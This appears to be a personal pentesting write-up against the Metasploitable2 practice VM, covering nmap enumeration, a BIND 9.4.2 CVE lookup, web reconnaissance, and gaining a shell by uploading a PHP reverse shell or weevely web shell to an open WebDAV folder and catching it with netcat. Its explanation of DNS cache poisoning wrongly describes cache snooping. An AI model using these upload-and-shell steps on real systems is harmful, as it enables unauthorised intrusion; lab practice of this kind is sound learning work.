Metasploitable2

What is Metasploitable?

Metasploitable is a machine that was created to practice pentesting, it has a lot of vulnerabilities that we can use to practice.

My goal is to discover as many vulnerabilities as possible, to the best of my limited knowledge.

I will upload my reports to GitHub: https://github.com/Noli18P

How will my reports be structured?

I will start with an enumeration to discover ONLY the open ports and once I have the list, I will use each one of them to try to discover vulnerabilities and write a small report about it, without rushing and trying to learn as much as I can.

Enumeration

To know the open ports I need to run nmap together with a series of parameters, I will divide this scan in two parts

→ A scan to get only open ports.
→ Another much deeper scan to get versions and run some scripts.

nmap -p- -sS --min-rate 5000 --open -vvv 192.168.56.101 -o allPorts.txt

How does the command work?

→ **-p-** To scan all 65535 ports.
→ **-sS** For scanning over TCP.
→ **--min-rate 5000** It allows me to choose the number of packets per second to be sent.
→ **--open** To show only open ports.
→ **-vvv** It shows me the results in a more detailed way.
→ **-o** To export the results to a file.

Now thanks to this super fast scan it allows me to save a lot of time and focus only on the open ports:

⇒ 21,22,23,25,53,80,11,139,445,512,513,514,1099,1524,2049,2121,3306,
⇒ 3632,5432,5900,6000,6667,6697,8009,8180,8787,35331,38712,
⇒ 46167,53241

Some of these ports are common such as FTP, SSH, HTTP, telnet, smpt, etc.

Once the ports are open I can run the second scan which will allow me to get much more information about the ports:

nmap -p (allports) -sV -sC -T5 -vvv -o deepScan.txt

How does the command work?

→ **-p** To specify the ports.
→ **-sV** To obtain the versions of the services that are being executed.
→ **-sC** To run some common scripts and try to obtain more information.
→ **-T5** To increase the speed to the maximum level.
→ **-vvv** It shows me the results in a more detailed way.
→ **-o** To export the results to a file.

Bind - 53

The next port to exploit is port 53, but I really had no idea what it was running and to get a little more detail I ran a scan specifically for that port:

nmap -sC -sV 192.168.56.101 -p 53

The result was as follows:

```
┌──(kali㉿kali)-[~/Metasploitable/domain]
└─$ nmap -sC -sV 192.168.56.101 -p 53
Starting Nmap 7.91 ( https://nmap.org ) at 202
Stats: 0:00:22 elapsed; 0 hosts completed (1 u
NSE Timing: About 99.30% done; ETC: 16:58 (0:0
Nmap scan report for 192.168.56.101
Host is up (0.0012s latency).

PORT   STATE SERVICE VERSION
53/tcp open  domain  ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
```

Now that I have a version I can look for vulnerabilities for the service:

```
┌──(kali㉿kali)-[~/Metasploitable/domain]
└─$ searchsploit bind 9.4.2
---------------------------------------------------------------------------
 Exploit Title                                                            |
---------------------------------------------------------------------------
BIND 9.4.1 < 9.4.2 - Remote DNS Cache Poisoning (Metasploit)              |
---------------------------------------------------------------------------
```

The exploit code in metasploit is very useful as you can often find the CVE of the vulnerability and look up much more information.

```
'References'      ⇒
        [
                [ 'CVE', '2008-1447' ],
```

So before exploiting the vulnerability I will look for more information about it.

CVE-2008-1447

This vulnerability also known as "the Kaminsky bug" allows attackers to spoof DNS traffic through a birthday attack.

How does the DNS cache poisoning attack work?

DNS cache snooping is when someone queries a DNS server in order to find out (snoop) if the DNS server has a specific DNS record cached, and thereby deduce if the DNS server's owner (or its users) have recently visited a specific site.
This may reveal information about the DNS server's owner, such as what vendor, bank, service provider, etc. they use

What is the impact?

An attacker could purposely poison the cache of, for example, your wifi router and change the cache information so that once you visit your favorite sites you actually visit the attacker's web page.

HTTP - 80

The next port is port 80, which according to my nmap scan runs HTTP.

Whenever I see a port running HTTP I like to perform the following:

→ Search directories
→ Run Nikto
→ Search for robots.txt
→ Run whatweb

Also to make the process simpler I added the IP address to the /etc/-hosts file.

```
└─$ whatweb http://metasploitable
http://metasploitable [200 OK] Apache[2.2.8], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.8 (Ubuntu) DAV/2], IP[192.168.56.101], PHP[5.2.4-2ubuntu5.10], Title[Metasploitable2 - Linux], WebDAV[2], X-Powered-By[PHP/5.2.4-2ubuntu5.10]
```

Thanks to whatweb I now know that the http service is supported by the following technologies:

→ Apache 2.2.8
→ The operating system is Ubuntu
→ WebDav
→ PHP 5.2.4

This is very good as I now know a little more about what to expect when checking the web page.

As for searching directories I like to use dirsearch as it is very fast, the command I used is as follows:

dirsearch -u http://metasploitable -w /usr/share/wordlists/-dirbuster/directory-list-2.3-medium.txt -t 100

Also while the directory search is running, I will scan the web page with nikto:

nikto -host http://metasploitable -output nikto-scan.txt

A very good way to get information about the options that HTTP allows is to make a manual request with netcat:

nc 192.168.56.101 80
GET / HTTP/1.1
host: foo

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.56.101 80
GET / HTTP/1.1
host: foo

HTTP/1.1 200 OK
Date: Sat, 02 Oct 2021 22:57:46 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Transfer-Encoding: chunked
Content-Type: text/html
```

With this request I can confirm that the technologies found by whatweb are the ones used and it is NOT a false positive, and I can also know what commands the server allows.

But in this case it didn't work!

The directories found are:

```
- /index
- /test  →  http://metasploitable/test/
- /twiki  →  http://metasploitable/twiki/
- /tikiwiki  →  http://metasploitable/tikiwiki/
- /phpinfo
- /server-status
- /phpMyAdmin  →  http://metasploitable/phpMyAdmin/
```

As for nikto, the most interesting thing was what was pointed out in the image:

```
┌──(kali㉿kali)-[~/Metasploitable/http-80]
└─$ cat nikto-scan.txt
- Nikto v2.1.6/2.1.5
+ Target Host: metasploitable
+ Target Port: 80
+ GET Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ GET Uncommon header 'tcn' found, with contents: list
+ GET Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The f
ves for 'index' were found: index.php
+ HEAD Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ ONRRRVGS Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ GET /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3268: GET /doc/: Directory indexing found.
+ OSVDB-48: GET /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ OSVDB-12184: GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: GET /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: GET /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ GET Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec  9 11:24:00 2008
+ OSVDB-3092: GET /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: GET /test/: Directory indexing found.
+ OSVDB-3092: GET /test/: This might be interesting...
+ OSVDB-3233: GET /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: GET /icons/: Directory indexing found.
+ OSVDB-3233: GET /icons/README: Apache default file found.
+ GET /phpMyAdmin/: phpMyAdmin directory found
+ OSVDB-3092: GET /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3092: GET /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
```

Now that I have a lot of information about the site I can visit you and check everything manually.

After visiting each of the websites, the one that interested me the most was dav because it is something similar to FTP, it allows sharing resources and with the "cadaver" tool, maybe I can upload a reverseshell and get access to the system.

```
┌──(kali㉿kali)-[~/Metasploitable/http-80]
└─$ cadaver http://192.168.56.101/dav
dav:/dav/> ls
Listing collection `/dav/': collection is empty.
dav:/dav/> put php-reverse-shell.php
Uploading php-reverse-shell.php to `/dav/php-reverse-shell.php':
Progress: [=============================>] 100.0% of 5495 bytes
dav:/dav/> ls
Listing collection `/dav/': succeeded.
        php-reverse-shell.php                5495  Oct  2 18:26
```

Ahora solo tengo que ponerme a la escucha con netcat y listo!

```
┌──(kali㉿kali)-[~/Metasploitable/http-80]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [1
Linux metasploitable 2.6.24-16-server #1 SMP
```

This way of uploading a shell is very good and very common but the disadvantage is that we have to improve our shell to get more functionality, so another way to do it is with weevely

weevely generate [password] [name.php]

We upload our file to the vulnerable web with cadaver and then run the following command and we will have a fully functional shell!

weevly http://IP/name.php [password]

Once logged in we can escalate privileges and do whatever we want with the system, for example I can **change to user msfadmin** and run **su** and that's it!